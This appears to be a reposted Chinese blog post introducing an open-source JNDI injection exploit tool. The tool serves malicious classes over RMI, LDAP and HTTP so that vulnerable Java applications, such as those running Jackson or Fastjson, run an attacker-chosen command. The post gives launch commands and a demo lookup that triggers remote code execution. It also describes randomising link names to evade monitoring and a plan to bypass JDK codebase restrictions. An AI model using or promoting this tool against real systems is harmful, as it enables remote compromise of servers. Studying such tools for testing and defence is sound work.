介紹
最近把自己之前寫的JNDI注入工具改了一下push到了github,地址:github,啟動后這個工具開啟了三個服務,包括RMI、LDAP以及HTTP服務,然后生成JNDI鏈接,測驗時可以將JNDI鏈接插入到JNDI注入相關的POC中,如Jackson、Fastjson反序列化漏洞等,
三個服務中,RMI和LDAP基于marshalsec中RMIRefServer、LDAPRefServer類修改而成,分別監聽1099及1389埠,HTTPserver提供惡意類的下載功能,
使用
可執行程式為jar包,在命令列中運行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-
-C - 遠程class檔案中要執行的命令,
(可選項 , 默認命令是mac下打開計算器,即"open /Applications/Calculator.app")
-
-A - 服務器地址,可以是IP地址或者域名,
(可選項 , 默認地址是第一個網卡地址)
注意:
-
要確保 1099、1389、8180埠可用,不被其他程式占用,
或者你也可以在run.ServerStart類26~28行更改默認埠,
-
命令會被作為引數傳入Runtime.getRuntime().exec(),
所以需要確保命令傳入exec()方法可執行,
示例
本地演示:
-
啟動 JNDI-Injection-Exploit:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1截圖:

-
我們需要把第一步中生成的 JNDI鏈接注入到存在漏洞的應用環境中,方便解釋用如下代碼模仿漏洞環境:
public static void main(String[] args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1/fgf4fp"); }當上面代碼運行后,應用便會執行相應命令,這里是彈出計算器,沒截圖,可以自己測一下,
截圖是工具的server端日志:

安裝
下面兩種方法都可以得到Jar包
-
從 Realease直接下載最新的Jar,
-
把原始碼下載到本地然后自行編譯打包,(在Java1.7+ 、Java1.8+ 和 Maven 3.x+環境下測驗可以)
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git$ cd JNDI-Injection-Exploit$ mvn clean package -DskipTests
工具實作
- 首先生成的鏈接后面codebaseClass是6位隨機的,這個是因為不希望讓工具生成的鏈接本身成為一種特征被監控或攔截,
- 服務器地址實際就是codebase地址,相比于marshalsec中的JNDI server來說,這個工具把JNDI server和HTTP server系結到一起,并自動啟動HTTP server回傳相應class,更自動化或者說更無腦了,
- HTTP server基于jetty實作的,其實就是一個能下載檔案的servlet,比較有意思的是我提前編譯好class模板放到resource目錄,然后servlet會讀取class檔案,使用ASM框架對讀取的位元組碼進行修改,然后插入我們想要執行的命令,回傳修改后的位元組碼,這里其實使用javassist更簡單也方便些,因為參考的RMIRefServer有使用javassist,
待實作
- 在更高版本的JDK環境中trustURLCodebase變數為false,限制了遠程類的加載,我會找時間把JNDI-Injection-Bypass這個專案的東西融入到本專案中,生成能繞過JDK限制JNDI鏈接,
- … ...
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/59903.html
標籤:其他
上一篇:【網路安全】CSRF攻擊詳解
